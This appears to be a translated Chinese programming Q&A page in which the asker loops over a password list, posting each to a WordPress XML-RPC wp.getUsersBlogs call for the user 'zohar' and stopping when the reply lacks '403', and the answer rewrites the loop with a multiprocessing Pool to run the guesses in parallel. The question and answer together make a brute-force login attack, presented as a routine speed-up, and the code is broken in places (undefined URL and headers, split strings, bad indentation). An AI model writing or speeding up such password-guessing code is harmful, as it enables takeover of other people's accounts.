Python请求模块多线程

Question

有没有可能使用多处理接口来加速我的代码？我有一个包含密码的数据数组，我想运行一些请求。

import requests
data = ['test','test1','test2']
counter=0



for  x in data:
   counter+=1
   burp0_data = "<methodCall>\r\n<methodName>wp.getUsersBlogs</methodName>\r\n<params>\r\n<param> 
   <value>zohar</value></param>\r\n<param><value>"+x+"</value> 
   </param>\r\n</params>\r\n</methodCall>\r\n"

       s=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
       if not (s.text.__contains__("403")):
       print(s.text)
       print(x)
       exit()

Answer 1

Python multiprocessing module就是你要找的东西。例如，它有一个并行的map函数，它将异步运行所有请求。下面是您的代码的大致外观：

import requests
from multiprocessing import Pool

def post(x):
    burp0_data = "<methodCall>\r\n<methodName>wp.getUsersBlogs</methodName>\r\n<params>\r\n<param> 
   <value>zohar</value></param>\r\n<param><value>"+x+"</value> 
   </param>\r\n</params>\r\n</methodCall>\r\n"

    s=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    if not (s.text.__contains__("403")):
        return s.text, x
    return None, None

if __name__ == '__main__':
    data = ['test','test1','test2']
    counter=0
    with Pool(processes=len(data)) as pool:
        results = pool.map(post, data, 1)
        for res in results:
            if res[0] is not None:
                print(res[0])
                print(res[1])
                exit()

有关详细信息，请参阅Python docs on multiprocessing。